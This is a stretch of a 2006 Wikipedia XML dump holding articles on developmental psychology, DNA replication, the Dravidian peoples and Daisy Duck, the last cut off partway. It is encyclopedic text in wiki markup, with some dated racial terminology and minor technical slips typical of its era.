Many theoretical perspectives attempt to explain development, among the most prominent are: [[Jean Piaget]]'s [[Theory of cognitive development|Stage Theory]], [[Lev Vygotsky]]'s [[Social Contextualism]] (and its heir, the Development in Context or Human Ecology theory of [[Urie Bronfenbrenner]]), and especially the [[information processing]] framework employed by cognitive psychology.

Historical theories continue to provide a basis for additional research, among them are [[Erik Erikson]]'s eight [[Erikson's stages of psychosocial development|stages of psychosocial development]] and [[John B. Watson]]'s and [[B. F. Skinner]]'s [[Behaviorism]]. Many other theories are prominent for their contributions to particular aspects of development.  For example, [[Attachment theory]] describes kinds of interpersonal relationships and [[Lawrence Kohlberg]] describes [[Kohlberg's stages of moral development|stages in moral reasoning]].

=== Role of experience ===
[[Image:Baby thinking Sofia SERRES.jpg|right|thumb|150px|A baby thinking]]
A significant question in developmental psychology is the relation between innateness and environmental influence in regard to any particular aspect of development. This is often referred to as &quot;[[nature versus nurture]]&quot; or [[nativism]] versus [[empiricism]]. A nativist account of development would argue that the processes in question are innate, that is, they are specified by the organism's [[genes]]. An empiricist perspective would argue that those processes are acquired in interaction with the environment. Today developmental psychologists rarely take such extreme positions with regard to most aspects of development; rather they investigate, among many other things, the relationship between innate and environmental influences. One of the ways in which this relationship has been explored in recent years is through the emerging field of [[evolutionary developmental psychology]].

One area where this innateness debate has been prominently portrayed is in research on [[language acquisition]]. A major question in this area is whether or not certain properties of human language are specified genetically or can be acquired through [[learning]]. The nativist position argues that the input from language is too impoverished for infants and children to acquire the structure of language. Linguist [[Noam Chomsky]] asserts that, evidenced by the lack of sufficient information in the language input, there is a [[universal grammar]] that applies to all human languages and is pre-specified. This has led to the idea that there is a special cognitive [[modularity of mind|module]] suited for learning language, often called the [[language acquisition device]].

The empiricist position on the issue of language acqusition suggests that the language input does provide the necessary information required for learning the structure of language and that infants acquire language through a process of [[statistical learning]]. From this perspective, language can be acquired via general learning methods that also apply to other aspects of development, such as perceptual learning. There is a great deal of evidence for components of both the nativist and empiricist position, and this is a hotly debated research topic in developmental psychology.

On the other hand, Chomsky's critique of a specific nativist position on this issue, [[radical behaviorism|radical behaviorist]] [[Burrhus Frederic Skinner]]'s ''[[Verbal Behavior]]'' written in 1957, is widely considered among developmental psychologists to have sparked the decline in influence of behaviorism and signaled the beginning of the [[cognitive revolution]] in psychology.

=== Mechanisms of development ===
Developmental psychology is concerned not only with describing the characteristics of psychological change over time, but also seeks to explain the principles and internal workings underlying these changes. Understanding these factors is aided by the use of [[model (abstract)|models]]. Developmental models are often [[computer model|computational]], but they do not necessarily need to be. A model must simply account for the means by which a process takes place. This is sometimes done in reference to changes in the [[brain]] that may correspond to changes in behavior over the course of the development. Computational accounts of development often use either [[symbolic]], [[connectionism|connectionist]] ([[neural net|neural network]]), or [[dynamical system]]s models to explain the mechanisms of development.

== History of developmental psychology ==
The modern form of developmental psychology has its roots in the rich psychological tradition represented by [[Heraclitus]], [[Aristotle]] and [[Descartes]]. In the late [[nineteenth century]], psychologists familiar with the [[evolutionary theory]] of [[Darwin]] began seeking an evolutionary description of psychological development; prominent here was [[G. Stanley Hall]], who attempted to correlate ages of childhood with previous ages of mankind. A more scientific approach was initiated by [[James Mark Baldwin]], who wrote essays on topics that included ''Imitation: A Chapter in the Natural History of Consciousness'' and ''Mental Development in the Child and the Race: Methods and Processes''. By the early to mid-[[twentieth century]], the work of [[Vygotsky]] and [[Piaget]], mentioned above, had established a strong [[empirical]] tradition in the field.

Developmental psychology made an early appearance in a more literary form, however. [[William Shakespeare]] had his melancholy character ''Jacques'' (in [[As You Like It]]) articulate the [http://www.ac.wwu.edu/~stephan/webstuff/poetry/Shakespeare-TheSeven.html ''seven ages of man'']: these included three stages of childhood and four of adulthood. In the mid-[[eighteenth century]] [[Jean Jacques Rousseau]] described three stages of childhood: infans (infancy), puer (childhood) and adolescence in ''[[Emile: Or, On Education]]''. Rousseau's ideas were taken up strongly by educators at the time. 

In the [[twentieth century]], [[Rudolf Steiner]] articulated stages of psychological development throughout human life. The first three of these stages, which correspond closely with [[Piaget]]'s later-described stages of childhood, were first presented in Steiner's [[1911]] essay ''The Education of the Child''; his descriptions have been taken up by educators (in the [[Waldorf Schools]]) and by psychologists (in [[biographical therapy]]; see the works of [[Bernard Lievegoed]]).

== Aspects of development ==
Developmental psychology is concerned with many different components of human psychology and how they change over time. These different aspects of development complement many other areas of psychology, including cognitive psychology and [[social psychology]].

=== Cognitive development ===
{{main|Cognitive psychology}}

Cognitive development is primarily concerned with the ways in which infants and children acquire cognitive abilities. Major topics in cognitive development are the study of language acquisiton and the development of perceptual and motor skills. [[Jean Piaget|Piaget]] was one of the influential early psychologists to study the development of cognitive abilities. His [[theory of cognitive development|theory]] suggest that development proceeds through a set of stages from infancy to [[adulthood]]. Other accounts, however, have suggested that development does not progress through stages that are as clearly defined as those of Piaget's. Rather, from this viewpoint, developmental processes proceed more continuously, but often give rise to ''apparent'' stages of change in mental structures as Piaget described.

=== Social development === 
{{main|Social psychology}}

Social psychology is the study of the nature and causes of human [[social behavior]], with an emphasis on how people think towards each other and how they relate to each other. As the mind is the axis around which social behavior pivots, social psychologists tend to study the relationship between mind(s) and social behaviors. In early-modern social science theory, [[John Stuart Mill]], Comte, and others, laid the foundation for social psychology by asserting that human [[social cognition]] and behavior could and should be studied scientifically like any other [[natural science]].

== Research methods ==
Developmental psychology employs many of the [[psychological research methods|research methods]] used in other areas of psychology. However, infants and children cannot always be tested in the same ways as adults, so different methods are often used to study development.

[[Image:Baby.jpg|thumb|200px|Special methods are required to study infant behavior.]]
===Infant research methods=== 
When studying infants, the habituation methodology is an example of a method often used to assess their performance. This method allows researchers to obtain information about what types of [[stimuli]] an infant is able to discriminate. In this [[paradigm]], infants are habituated to a particular stimulus and are then tested using different stimuli to evaluate discrimination. The critical measure in habituation is the infants' level of interest. Typically, infants prefer stimuli that are novel relative to those they have encountered previously. Several methods are used to measure infants' preference. These include the high-amplitude sucking procedure, in which infants suck on a pacifier more or less depending on their level of interest, the conditioned foot-kick procedure, in which infants move their legs to indicate preference, and the head-turn preference procedure, in which infants level of interest is measured by the amount of time spent looking in a particular direction. A key feature of all these methods is that, in each situation, the infant controls the stimuli being presented. This gives researchers a means of measuring discrimination. If an infant is able to discriminate between the habituated stimulus and a novel stimulus, they will show a preference for the novel stimulus. If, however, the infant cannot discriminate between the two stimuli, they will not show a preference for one over the other.

===Child research methods===
When studying older children, especially adolescents, adult measurements of behavior can often be used, but they may need to be simplified to allow children to perform certain tasks.

==Theorists &amp; theories==
*[[Jean Piaget]], [[Theory of cognitive development]]
*[[Erik Erikson]], [[Erikson's stages of psychosocial development]]
*[[Lawrence Kohlberg]], [[Kohlberg's stages of moral development]] 
*[[James W. Fowler]], [[Stages of faith development]]iiii

==See also==
*[[List of publications in psychology#Developmental psychology|Annotated Bibliography]]: a list of prominent works in developmental psychology
*[[Developmental stage]]
*[[Evolutionary developmental psychology]]

== External links ==
* [http://www.devpsy.org Developmental Psychology]: lessons for teaching and learning developmental psychology
* [http://classweb.gmu.edu/awinsler/ordp/topic.html GMU&amp;rsquo;s On-Line Resources for Developmental Psychology]: a web directory of Developmental Psychology organizations 
* [http://www.wam.umd.edu/~stwright/psych/index.html Psychology Resources]
*[http://www.missouri.edu/~psycorie/EvoDevPsy.pdf#search='evolutionary%20developmental%20psychology' Evolutionary Developmental Psychology] (in the journal ''Child Development'') 
*[http://bernard.pitzer.edu/~dmoore/psych199s03articles/Bjorklund.pdf#search='evolutionary%20developmental%20psychology' Child Development and Evolutionary Psychology] (in the journal ''Child Development'')

[[Category:Developmental psychology| ]]
[[Category:Psychology]]

[[af:Ontwikkelingsielkunde]]
[[de:Entwicklungspsychologie]]
[[fr:Psychologie du développement]]
[[he:פסיכולוגיה התפתחותית]]
[[nl:Ontwikkelingspsychologie]]
[[ja:発達心理学]]
[[pl:Psychologia rozwoju człowieka]]
[[pt:Psicologia do desenvolvimento]]
[[sk:Vývinová psychológia]]
[[sl:Razvojna psihologija]]
[[fi:Kehityspsykologia]]
[[tr:Gelişimsel psikoloji]]
[[zh:发展心理学]]
[[sv:utvecklingspsykologi]]</text>
    </revision>
  </page>
  <page>
    <title>DNA replication</title>
    <id>9015</id>
    <revision>
      <id>41838311</id>
      <timestamp>2006-03-02T01:52:46Z</timestamp>
      <contributor>
        <username>PseudoSudo</username>
        <id>825566</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.126.175.7|71.126.175.7]] ([[User_talk:71.126.175.7|talk]]) to last version by PseudoSudo</comment>
      <text xml:space="preserve">[[Image:Dnareplication.png|frame|DNA replication.  In the first step, a portion of the double helix shown above in blue is unwound by a [[helicase]]. Next, a molecule of [[DNA polymerase]] shown in green binds to one strand of the DNA. It moves along the strand, using it as a template for assembling a [[leading strand]] shown above in red of [[nucleotide]]s and reforming a double helix. A second DNA polymerase molecule (also green) is used to bind to the other template strand as the double helix opens. This molecule must synthesize discontinuous segments of polynucleotides (called [[Okazaki fragment]]s). Another enzyme, [[DNA ligase]] shown in violet, then stitches these together into the lagging strand.]]

'''DNA replication''' or '''DNA synthesis''' is the process of copying a double-stranded [[DNA]] strand in a [[cell (biology)|cell]], prior to [[cell division]]. In [[eukaryote]]s, this is during the [[S phase]] of the [[cell cycle]], preceding [[mitosis]] and [[meiosis]]. The two resulting double strands are identical (if the replication went well), and each of them consists of one original and one newly synthesized strand. This is called ''[[semiconservative replication]]''. The process of replication consists of three steps, ''initiation'', ''replication'' and ''termination''. ''Artificial'' DNA replication is carried out through [[polymerase chain reaction]].

==Steps==
=== Initiation ===
In the initiation step, several key factors are recruited to an [[origin of replication]]. This origin of replication is unwound, and the partially unwound strands form a &quot;replication bubble&quot;, with one [[replication fork]] on either end. Each group of enzymes at the replication fork moves away from the origin, unwinding and replicating the original DNA strands as they proceed. [[Primer (molecular biology)|Primers]] mark the individual sequences and their start and end points, to be replicated.

The factors involved are collectively called the [[pre-replication complex]]. It consists of the following:
* A [[topoisomerase]], which introduces negative supercoils into the DNA in order to minimize tortional strain induced by the unwinding of the DNA by helicase. This prevents the DNA from knotting up.
* A [[helicase]], which unwinds and splits the DNA ahead of the fork. Thereafter, [[single-strand binding protein]]s (SSB) swiftly bind to the separated DNA, thus preventing the strands from reuniting.
* A [[primase]], which generates an [[RNA]] primer to be used in DNA replication.
* A [[DNA holoenzyme]], which in reality is a complex of enzymes that together perform the actual replication.

=== Elongation===
After the helicase unwinds the DNA, RNA primase is bound to the starting DNA site. 

At the beginning of replication, an enzyme called [[DNA polymerase]] binds to the RNA primase, which indicates the starting point for the replication. DNA polymerase can only synthesize new DNA from the [[Nucleic acid nomenclature|5&amp;rsquo;]] to [[Nucleic acid nomenclature|3&amp;rsquo;]] (of the new DNA). Because of this, the DNA polymerase can only travel on one side of the original strand without any interruption. This original strand, which goes from 3&amp;rsquo; to 5&amp;rsquo;, is called the [[leading strand]]. The complement of the leading strand, from 5&amp;rsquo; to 3&amp;rsquo;, is the [[lagging strand]]. 

Each time the helicase unwinds additional DNA, new DNA polymerase needs to be added to ensure there remains enough. As a result, the DNA of the lagging strand is replicated in a piecemeal fashion. Another enzyme, [[DNA ligase]], is used to connect the so-called [[Okazaki fragment]]s.

In prokaryotes, coupled leading strand and lagging strand synthesis is achieved by the action of the [[DNA polymerase III holoenzyme]].

In eukaryotes, there are a number of DNA polymerases with exonuclease and proof-reading abilities to carry out replication.

=== Termination ===

Termination occurs when DNA replication forks meet one another or run to the end of a linear DNA molecule. Also, termination may occur when a replication fork is deliberately stopped by a special protein, called a replication terminator protein, that binds to specific sites on a DNA molecule.

When the polymerase reaches the end of a length of DNA, there is a potential problem due to the antiparallel structure of DNA. Because an RNA primer must be regularly laid down on the lagging strand, the last section of the lagging-strand DNA cannot be replicated because there is no DNA template for the primer to be synthesized on. To solve this problem, the ends of most chromosomes consist of [[noncoding DNA]] that contains repeat sequences. The end of a linear chromosome is called the [[telomere]]. 

The repeat DNA in the telomere is not essential for survival, because it does not contain genes, so cells can endure the shortening of the chromosome at the telomere. Many cells use an enzyme called [[telomerase]] that adds the repeat units to the end of the chromosome so the ends to not become too short after multiple rounds of DNA replication. Many simple, single-celled organisms overcome the whole problem by having circular chromosomes.

Before the DNA replication is finally complete, enzymes are used to proofread the sequences to make sure the nucleotides are paired up correctly in a process called [[DNA repair]]. If mistake or damage occurs, enzymes such as a [[nuclease]] will remove the incorrect DNA. DNA polymerase will then fill in the gap.

===Equation===
A [[chemical equation]] can be written that represents the process:

&lt;blockquote&gt; (DNA)&lt;sub&gt;n&lt;/sub&gt; + dNTP &amp;harr; (DNA)&lt;sub&gt;n+1&lt;/sub&gt; + PP&lt;sub&gt;i&lt;/sub&gt;&lt;/blockquote&gt;

==Organization of multiple replication sites==
The human genome contains 6 billion nucleotide pairs (arrayed in 46 linear chromosomes) that are copied at about 50 [[base pair]]s per second by each replication fork.  Yet, in a typical cell the entire replication process takes only about 8 hours. This is because there are many [[replication origin site]]s on a eukaryotic chromosome. Therefore, replication can begin at some origins earlier than at others. As replication nears completion, &quot;bubbles&quot; of newly replicated DNA meet and fuse, forming two new molecules.

There must be some form of regulation and organisation of these multiple replication sites to prevent conflict. To date, two replication control mechanisms have been identified: one positive and one negative. For DNA to be replicated, each replication origin site must be bound by a set of proteins called the ''origin recognition complex''. These remain attached to the DNA throughout the replication process. Specific accessory proteins, called [[licensing factor]]s, must also be present for initiation of replication. Destruction of these proteins after initiation of replication prevents further replication cycles from occurring. This is because licensing factors are only produced when the [[nuclear membrane]] of a cell breaks down the during [[mitosis]].

==Measurement==

===Conditional mutants===
Measurement of DNA replication can be done using [[conditional mutant]]s.
Mutants that grow at 30°C but not at 42°C are collected. At this temperature these mutants should incorporate [[nucleotide]]s into DNA. Protein synthesis should not be affected. 

There are two outcomes for a graph of incorporation of labelled nucleotides into DNA vs time:
#Quick stop indicates the mutation is in a DNA synthesis factor.
#Slow stop indicates the mutation is possibly in an initiation factor such as dnaA. 

The assay can measure the incorporation of [[deoxyribonucleotide]]s into [[acid]] or [[ethanol]] insoluble forms. [[Gel filtration chromatography]] or [[ion exchange chromatography]] is used to get all protein fractions and is followed by assay for [[DNA polymerase]].

==External links==
* [http://www.pbs.org/wgbh/aso/tryit/dna/ DNA Workshop]
* {{NCBI-scienceprimer}}
[[Category:DNA replication]]

[[de:Replikation]]
[[fr:Réplication de l'ADN]]
[[ko:DNA 복제]]
[[he:שכפול דנ&quot;א]]
[[ja:DNA複製]]
[[nl:Replicatie (DNA)]]
[[pl:Replikacja DNA]]
[[sv:Replikation]]
[[vi:Quá trình tự nhân đôi DNA]]
[[tr:DNA'nın çoğalması]]
[[zh:DNA复制]]</text>
    </revision>
  </page>
  <page>
    <title>Dravidian</title>
    <id>9016</id>
    <revision>
      <id>39863027</id>
      <timestamp>2006-02-16T11:00:34Z</timestamp>
      <contributor>
        <username>M arpalmane</username>
        <id>342175</id>
      </contributor>
      <comment>/*Pre-Indo-European Indians is a vague statement*/</comment>
      <text xml:space="preserve">'''Dravidian''' may refer to:

*[[Dravidian languages]], including the [[Tamil language|Tamil]], [[Telugu language|Telugu]], [[Malayalam]], and [[Kannada]] languages spoken especially in southern India and northern Sri Lanka. 
*[[Southern Dravidian languages]], a major grouping of the languages
*[[Dravidian race]], a member of any of the peoples that speak one of the Dravidian languages.
*A political movement encompassing a number of different parties that appeal to speakers of the [[Tamil language]]

{{disambig}}

[[fa:&amp;#1583;&amp;#1585;&amp;#1575;&amp;#1608;&amp;#1740;&amp;#1583;&amp;#1740;]]
[[Category:Dravidian people]]</text>
    </revision>
  </page>
  <page>
    <title>Dravidian people</title>
    <id>9017</id>
    <revision>
      <id>41750225</id>
      <timestamp>2006-03-01T13:53:43Z</timestamp>
      <contributor>
        <username>DabMachine</username>
        <id>922466</id>
      </contributor>
      <minor />
      <comment>disambiguation from [[Myth]] to [[Mythology]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}} 

The terms '''Dravidians''' and '''Dravidian Race''' are sometimes given to the peoples of southern and central [[India]] and northern [[Sri Lanka]] who speak [[Dravidian languages]], the best known of which are [[Tamil language|Tamil]] (&amp;#2980;&amp;#2990;&amp;#3007;&amp;#2996;&amp;#3021;), [[Telugu language|Telugu]] (&amp;#3108;&amp;#3142;&amp;#3122;&amp;#3137;&amp;#3095;&amp;#3137;), [[Kannada language|Kannada]] (ಕನ್ನಡ), [[Malayalam language|Malayalam]] (&amp;#3374;&amp;#3378;&amp;#3375;&amp;#3390;&amp;#3379;&amp;#3330;) and [[Tulu language|Tulu]] (ತುಳು).

==Ethnology==
The term arose from nineteenth century Western scholars assumptions that Dravidian speakers were a distinct group within India, separate from the speakers of the [[Indo-Aryan languages|Indo-Aryan]] languages in the north of the country. It was supposed that the generally darker-skinned Dravidians constituted a distinct [[race]]. This notion corresponded to [[master race|racial hierarchies]] of the time according to which darker skinned peoples were more primitive than light-skinned [[whites]]. Accordingly, Dravidians were envisaged as primitive early inhabitants of India who had been partially displaced and subordinated by more advanced [[Aryans]]. The term Dravidian is taken from the [[Sanskrit]]  &quot;drāvida&quot;, meaning &quot;Southern&quot;. It's most probably derived from Prakrit equivalent of the word, &quot;Tamil&quot;. It was adopted following the publication of [[Robert Caldwell]]'s ''Comparative grammar of the Dravidian or South-Indian family of languages'' (1856); a publication which established the language grouping as one of the major language groups of the world.

Classical anthropology viewed them as their own race of about the 40 human races (&quot;Weddid race&quot;). Indeed 
they differ from northern Indians in many respects, one of which is often darker skin. Most modern historians, however, reject this conception of a distinct Dravidian race, asserting that the high degree of admixture between the two in prehistory negates any meaningful distinction outside of linguistics. Some believe darker skins of the Dravidians would be explained by their adaptation to the hotter and sunnier climate of South India.

The concept has affected thinking in India about racial and regional differences. It has informed aspects of [[Tamil people|Tamil]] nationalism, which has at times appropriated the claim that Dravidians are the earliest inhabitants of India in order to argue that other populations were oppressive interlopers from which Dravidians should liberate themselves. The discovery of the [[Indus Valley Civilization]] in the 1920s, which was attributed to the displaced Dravidians of the north, further fuelled such Dravidianist ideas since it implied that the Indo-Aryans were &quot;uncivilised barbarians&quot; rather than a &quot;superior race&quot;.

There is evidence to suggest that the proto-Dravidians of the [[Indian subcontinent]] were a [[Caucasoid]] people who arrived from the [[Middle East]], and may have been related to the [[Elamites]], whose language some propose be categorized along with the Dravidian languages as part of a larger [[Elamo-Dravidian]] language family. The Dravidians were preceded in the subcontinent by an [[Australoid]]-type people, and followed by [[Indo-European]]-speaking [[migrant]]s sometime later. The original inhabitants may be identified with the speakers of the [[Munda languages]], which are unrelated to either Indo-Aryan or Dravidian languages. This view is put forward in [[geneticist]] [[Luigi Luca Cavalli-Sforza]]'s book ''The History and Geography of Human Genes''. According to Tamil tradition, the Tamils came from a submerged island to the southeast of the subcontinent. However, Tamils form only quarter of Dravidian population.

==Dravidian languages and Dravidian peoples==
{{main|Dravidian languages}}

The Dravidian languages are grouped into Northern, Central, South-Central, and Southern categories. The Northern consists of Malto and [[Kurukh language|Kurukh]], spoken in northeast India, Nepal, and Bangladesh, as well as [[Brahui language|Brahui]] which is primarily spoken in southwestern [[Pakistan]]. South-Central consists mainly of  [[Telugu language|Telugu]]. The southern branch has the most languages, with [[Tamil language|Tamil]], [[Kannada language|Kannada]], and [[Malayalam language|Malayalam]].  

Malayalam, Telugu and Kannada are highly influenced by [[Sanskrit]], both in vocabulary and in grammar. This may be attributable to the dominance of Brahmins in the past, and also to the adaptation of Sanskrit as the principal language of Buddhism, Jainism and Saivism in those societies.  

Some believe that Dravidian-speaking peoples were spread throughout the [[Indian subcontinent]] before the [[Aryan race|Aryans]] settled there. In this view the early [[Indus Valley civilization]] ([[Harappa]] and [[Mohenjo Daro]]) is often identifed as having been Dravidian. A subsequent theory, which is controversial now, suggests that its peoples were then forced southwards by the [[Aryan invasion theory|invasion of the Aryans]], which caused the collapse of the Indus Valley Civilization. However it is now considered more likely that the collapse was caused by environmental change (drought). It was then this collapse that encouraged the migration of the nomadic Indo-Aryans into the area; a situation comparable with the decline of the [[Roman Empire]] and the incursions of [[North Europe]]an tribes that followed during the [[Migrations Period]]. It is therefore more likely that the Dravidian speakers of South India were already living in the region, and were merely the only group unaffected by the initial [[Indo-Aryan migration]].

Some scholars like J. Bloch and [[Michael Witzel|M. Witzel]] believe that the Dravidians intruded upon an Indo-Aryan speaking area after the oldest parts of the [[Rig Veda]] were already composed (see Bryant 2001: chapter 5). This theory might be supported if a higher antiquity of the Indo-Aryan languages could be established. However, since this theory is mainly a linguistic hypothesis, the Dravidian influence on Aryan languages must not necessarly be equated to a movement of populations. A small number of individuals, rather than populations, could have influenced the [[Sanskrit]] language. The influence of Sanskrit itself on the Dravidian languages was the result of individual Sanksrit speakers (and not of whole populations) migrating to South India.

Into the 21st century, Indians, with possible justification, continue to accuse the [[United Kingdom|British]] [[Raj]] of exaggerating differences between northern and southern Indians beyond [[linguistics|linguistic]] differences to help sustain their control of India. The British Raj ended in 1947, yet all discussion of [[Aryan race|Aryan]] or Dravidian &quot;[[race|races]]&quot; remains highly controversial in India.

== Dravidian and Vedic culture ==
The Dravidians and South Indians have been in some respects the best preservers of ancient Vedic culture and traditions, especially when the north of India was dominated by [[Buddhism]] and later was affected by [[Islam]]. Some modern theories of the origins of both [[Hinduism]] and [[Buddhism]] focus on the resultant mixture of the &quot;Aryan&quot; and &quot;Dravidian&quot; cultures. 

According to the [[Purana]]s, the Dravidians are descendants of the Vedic Turvasha people. According to the [[Matsya Purana]], [[Manu]] is considered as a south Indian king. In [[Hindu]] tradition the creation of the [[Tamil language]] is credited to the [[Rig Veda|Rig Vedic]] sage Rishi Agastya, a view that secular linguists would interpret as a [[Mythology|myth]] designed to link Dravidians to Vedic Indo-Aryan culture.

Tamil literature and Tamil epics and classics have many references to Vedic gods and culture. The [[Tolkaappiyam]] mentions non-Vedic, early-Vedic ([[Indra]], [[Varuna]]) and Puranic ([[Vishnu]]) gods. The Paripadal (8; 3; 9 etc.), one of the &quot;Eight Anthologies&quot; of poetry (or ettuttokai), has homages to [[Vishnu]], [[Lakshmi]], [[Brahma]], the twelve [[Aditya]]s, the Ashwins, the Rudras, the Saptarishis, [[Indra]], the Devas etc. The [[Kural]], written by [[Tiruvalluvar]], mentions gods like Indra (25) and Lakshmi (e.g. 167).

The Tamil epic [[Shilappadikaram]], begins with invocations to [[Chandra]], [[Surya]], and [[Indra]], and has homages to [[Agni]], [[Varuna]], [[Shiva]], Subrahmanya, Vishnu-Krishna, Uma, etc. The epic states that &amp;#8220;Vedic sacrifices [are] being faultlessly performed&amp;#8221; and has many references to Vedic culture and Vedic texts. In the Buddhist work [[Manimekhalai]], the submersion of the city Puhar in [[Kumari Kandam]] is attributed to the neglect of the worship to [[Indra]].

==Kumari Kandam==
According to Tamil Tradition, the Dravidians originally came from a submerged island [[Kumari Kandam]] in the south of India. The Epics [[Shilappadikaram]] and [[Manimekhalai]] describe the submerged city of [[Puhar]] (Poombuhar). [[Kumari Kandam]] has also been linked to [[Lemuria (continent)|Lemuria]].

At [[Mahabalipuram]], near [[Chennai]], submerged ruins have been found in the ocean.

== The Eastern Ethiopians ==
{{Main|Eastern Ethiopian}}
[[Herodotus]], [[Homer]] and other Greek authors called the Dravidians the [[Eastern Ethiopian]]s.  Greek writers sometimes identified the &quot;Western Aethiopians&quot; of East Africa with the &quot;Eastern Aethiopians&quot; of South India. Also the African and Indian geography were sometimes compared or identified with eachother: [[Arrian]] (vi. i.) mentions that the [[Indus]] River was thought by some ancient [[History of Ancient Greece|Greek]]s to be the source of the [[Nile]]. It is usually assumed that by 'Aethiopian' Herodotus simply means 'black person', so that the term really only functions to characterise southern Indians as Eastern black people. 

Herodotus wrote about the Dravidians: ''They differed in nothing from the other Ethiopians, save in their language, and the character of their hair. For the Eastern Ethiopians have straight [[hair]], while they of [[Libya]] are more woolly-haired than any other people in the world. (Herodotus: from The History of the Persian Wars, VII.70., c.430 BCE)''

[[Helena Petrovna Blavatsky]], however, took up this connection between  Dravidians and Ethiopians in order to claim a direct racial and cultural link between the two peoples. She was attempting to show that Indian culture influenced Ancient [[Egypt]] via Ethiopia. She described many parallels between [[Egypt]] and [[India]] in her works. After the discovery of the Indus Valley Civilisation [[Gottfried de Purucker]] remarked (referring to ''Secret Doctrine'', vol.2, p.417): ''A highly advanced urban civilization of [[Mohenjo Daro]] has been discovered on the [[Indus]] &quot;between Attock and Sind,&quot; exactly the location mentioned in [[The Secret Doctrine]] as the abode of the Aethiopians.''(Encyclopedic Theosophical Glossary).

==Dravidian tradition and Hinduism==
Interestingly, the original Indo-Aryan gods like [[Indra]], [[Agni]], [[Vayu]] etc. are not the principal gods of present day Hindus. Those Indo-Aryan gods have equivalents in other [[Indo-European religion|Indo-European gods]] worshipped by other Indo-European speaking peoples. Those gods occupied the highest position until the advent of Christianity in those societies, with little discernable trace remaining of the Pre-Indo-European deities and traditions. However in India the traditions of native groups such as the Dravidians seem to have mingled more fluently with those of the migrants. One view is that this unique mingling is what resulted in modern Hinduism.

One scenario would place the migration of the Indo-Aryans in a specifically Indian context requiring the merging of Dravidian priestly classes with Indo-Aryan priestly classes, creating a proto-caste system somewhere in the North-West of the Indian subcontinent. This would also explain the ability of Dravidians in South India to adopt the caste system, as it was partly based on Dravidian societal distinctions in the first place.

==Prominent Dravidian groups==
* [[Brahui]]s : Brahuis belong to North-Dravidian linguistic family. They are found in [[Baluchistan]] province of [[Pakistan]]. Brahuis are exclusively muslims. 

* [[Kannadiga]]s : These people belong to South-Dravidian language family. Mostly found in  [[Karnataka]]. Majority of them belong to either Brahmanical Hinduism or [[Saivism]]. There are small populations of Christians and Jains. Almost all of Karnataka Muslims are Indo-Aryans.

* [[Telugu people|Telugu]]s : These people belong to Central-Dravidian linguistic family. Mostly found in  [[Andra Pradesh]]. Brahmanical Hinduism is the main religion. There are small population of Christians. Like Karnataka, Muslims in Andhra Pradesh are Indo-Aryans(or speak Indo-Aryan [[Urdu]]).

* [[Tamil people|Tamil]]s : These people belong to South-Dravidian linguistic family. Mostly found in [[Tamil Nadu]]. The major religions are Brahmanical Hinduism, Saivism. Christianity is also practiced. The muslim population of Tamil Nadu is divided between Indo-Aryans and Dravidians.

* [[Malayalee]]s : The people of [[Kerala]] belong to South-Dravidian linguistic family. Except for a small percentage of Muslims all religious groups be it, Hindus, Christians or Muslims speak Malayalam as their mother tongue. 

Many Dravidians also profess atheism.

== References ==
* {{cite book | first=Edwin | last=Bryant | authorlink=Edwin Bryant  | title=[[The Quest for the Origins of Vedic Culture]] | publisher=Oxford University Press | year=2001 | id=ISBN 0195137779}}

==External links==
*[http://www.hindunet.org/hindu_history/ancient/aryan/aryan_frawley_1.html The Aryan-Dravidian Controversy] Article by David Frawley
*[http://micheldanino.voiceofdharma.com/tamilculture.html Vedic roots of early Tamil culture by Michel Danino]
*[http://koenraadelst.bharatvani.org/reviews/atlantis.html An Atlantis in the Indian Ocean - Tamil Kumarikhandam]

[[Category:Ancient peoples]]
[[Category:Dravidian people]]

[[fr:Dravidiens]]
[[ja:ドラヴィダ人]]
[[pl:Drawidowie]]
[[sv:Dravidfolk]]</text>
    </revision>
  </page>
  <page>
    <title>Daisy Duck</title>
    <id>9020</id>
    <revision>
      <id>35772196</id>
      <timestamp>2006-01-19T04:06:56Z</timestamp>
      <contributor>
        <ip>210.250.95.47</ip>
      </contributor>
      <comment>+ja</comment>
      <text xml:space="preserve">[[Image:Daisyduck.gif|thumb|right|190px|Daisy Duck]]'''Daisy Duck''' is one of [[Walt Disney]]'s [[cartoon]] and [[comic book]] characters.  She was created as a female counterpart and [[girlfriend]] to [[Donald Duck]], and first appeared in the cartoon &quot;[[Don Donald]]&quot; in 1936. However, it wasn't until the cartoon &quot;[[Mr. Duck Steps Out]]&quot; in 1940 that she received her name and own speaking voice (she was previously played by the same person who did Donald).

Daisy has Donald's temper but has far greater control of it, and tends to be more sophisticated than her boyfriend.

Daisy replaced an earlier, short-lived character named [[Donna Duck]]. In the various Disney comics, Donna exists as Daisy's sister, and the mother of triplets [[April, May, and June Duck]], who serve as Huey, Dewey, and Louie's female counterparts.

In some appearances, Daisy is presented as a close friend of [[Minnie Mouse]].

==Animation==
Daisy made various appearances alongside Donald in Donald's various theatrical shorts. Her last appearance in the &quot;classic era&quot; was ''Donald's Diary'', in which she played the role of a young lady who manages to start a long-term relationship with Donald. But after having a nightmare about the anxieties that would come with being married to her, Donald runs out on her and joins the [[Foreign Legion]].

Daisy's return to animation came in [[1983]]'s ''[[Mickey's Christmas Carol]]'', where she was cast as Isabelle, [[Ebenezer Scrooge|Scrooge]]'s one-time romantic partner. And as with most Disney characters, she was given a small [[cameo]] in [[1988]]'s ''[[Who Framed Roger Rabbit]]''.

Curiously, Daisy never appeared on ''[[DuckTales]]'', but she was in its spin-off. In the [[1996]] television series ''[[Quack Pack]]'', Daisy was presented as a much more assertive and liberated woman than in her previous appearances, where she was employed as a television station reporter, with Donald as her cameraman.

Daisy also has appeared in the later television series ''[[Mickey Mouse Works]]'' and ''[[House of Mouse]]'' as a regular character. She has also appeared in the direct-to-video films ''[[Mickey's Once Upon a Christmas]]'', ''[[Mickey's Twice Upon a Christmas]]'', and ''[[The Three Musketeers]]''.

==Comics==
According to the various comics written by [[Carl Barks]] and [[Don Rosa]], Daisy was &quot;born&quot; in [[1920]]. According to Rosa, Daisy is the sister of Donald's brother-in-law &amp;mdash; Daisy's brother had married Donald's twin sister, [[Della Thelma Duck]], and together, the two became the parents of [[Huey, Dewey and Louie|Huey, Dewey and Louie Duck]].

Occasionally Daisy also dates Donald's cousin, [[Gladstone Gander]].

